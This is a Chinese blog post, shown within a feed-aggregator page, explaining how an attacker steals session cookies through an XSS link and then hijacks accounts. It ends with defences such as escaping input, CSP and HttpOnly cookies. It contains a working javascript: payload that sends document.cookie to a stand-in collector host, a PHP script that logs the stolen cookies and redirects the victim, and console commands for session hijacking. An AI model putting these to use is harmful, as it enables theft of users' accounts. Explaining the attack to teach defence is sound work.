惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
A
About on SuperTechFans
博客园 - Franky
Engineering at Meta
Engineering at Meta
Recent Announcements
Recent Announcements
云风的 BLOG
云风的 BLOG
B
Blog
Microsoft Security Blog
Microsoft Security Blog
L
LangChain Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
U
Unit 42
Martin Fowler
Martin Fowler
Y
Y Combinator Blog
Stack Overflow Blog
Stack Overflow Blog
博客园 - 叶小钗
Vercel News
Vercel News
Apple Machine Learning Research
Apple Machine Learning Research
The Cloudflare Blog
Last Week in AI
Last Week in AI
腾讯CDC
Microsoft Azure Blog
Microsoft Azure Blog
爱范儿
爱范儿
V
V2EX
G
Google Developers Blog

博客园 - tooli

没有技术要求,只需5步就能完成数据分析和图表制作,DuckDB可将数据分析门槛铲平。 在超大数据集下 DuckDB 与 MySQL 查询速度对比 ChatGPT有多强?真的能替代程序员?一起来看看! 在windwos创建的脚本文件在linux环境中无法执行的问题 PHP + Redis 实现定时任务触发 测试PHP几种方法写入文件的效率与安全性 一个'&'引起md5签名不一致问题 linux学习:curl与netcat用法整理 swoole+websocket+redis实现一对一聊天 使用COOKIE实现登录 VS 使用SESSION实现登录 巧用PHP中__get()魔术方法 用户表分表原理 linux学习:用户管理 linux学习:网络(防火墙)及系统安全相关命令学习 MySQL语句技巧 实习那些事儿 shell 环境下MySQL的基本操作指令总结 linux学习:归档,备份及进程相关命令用法整理 Docker简介以及使用docker搭建lnmp的过程(多PHP版本)
简析小黑是如何盗取cookie登录用户账号
tooli · 2020-05-21 · via 博客园 - tooli

都说cookie不安全,现在通过一个很简单的例子来说明它为什么不安全。

对于cookie的概念这里就不做阐述了。前端截取cookie的方式有多种,下面介绍一种比较简单的手法。

首先:

小黑会在各种网站发布帖子,然后在某些特定的地方添加吸引人点击的内容,而该内容会有一些超链接。比如在A网站,小黑在发布的内容中加个超链接:

<a href=”JS_URL”  target=”_blank”>点击我,跳转到B网站</a>

然后JS_URL 用如下形式:

javascript:window.location.href='http://www.getcookie.com/info.php?usercookie='+document.cookie;

或者

javascript:window.open('http://www.getcookie.com/info.php?usercookie='+document.cookie);

然后:

小黑在自己的服务器上也就是www.getcookie.com 上写好脚本info.php,接收以上超链接传输过来的cookie。

Info.php

<?php

$info=$_GET[‘usercookie’];

if($info){

    file_put_contents('./cookie_log.txt', $info.PHP_EOL, FILE_APPEND);

}

header("Location:http://www.B.com");//因为超链接是要跳转到B网站,拿到cookie后再给他跳转,不容易被发现。

最后:

小黑拿到其他用户的cookie后,在A网站登录自己的账号,然后只需要将自己账号的cookie改成前面截取到的cookie。具体步骤:

进入F12的控制台,执行:document.cookie = 'PHPSESSID= aaaaaaaaaaaa;'; 有的网站有多个cookie,每个cookie会对应不同子域名,所有这种需要在设置cookie时加上有效的域名和目录等。比如:document.cookie = PHPSESSID =aaaaaaaaaaaa;'+ 'path=/;'+ 'domain=.A.com';  表示一级域名下有效。

如果没有A网站的账号,也可以直接设置cookie到该网站的域名下,不过这样可能花费的调试时间多些,因为有些网站有多个cookie,各个cookie对应的子域名、目录等可能不一样。如果自己有一个账号,只要登录后替换对应键的cookie值就可以了。

除了在控制台执行document.cookie,也可以Application项目的Cookies栏目下修改cookie值。

刷新一下,就能获得别人账号的权限了。

对于这种XSS攻击,有时真的是防不胜防,但也还得防。

防范方式:

1)字符的过滤,将用户输入的字符进行特殊字符过滤或转义,比如空格,单引号,双引号,尖括号等;

2)避免cookie中泄露用户隐私,也可以通过cookie和ip绑定来降低泄露风险。

3)提交表单尽量用POST而非GET

4)内容安全策略——CSP(Content-Security-Policy),一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码

5)设置cookie为httponly。这样前端就无法通过document.cookie截取到该cookie值。比如php的设置方法:

方法一、在php.ini配置文件中进行cookie只读设置的开启 :session.cookie_httponly = On

方法二、在php代码顶部设置
<?php
ini_set("session.cookie_httponly", 1);
//php5.1以前版本设置方法:header("Set-Cookie: hidden=value; httpOnly");
?>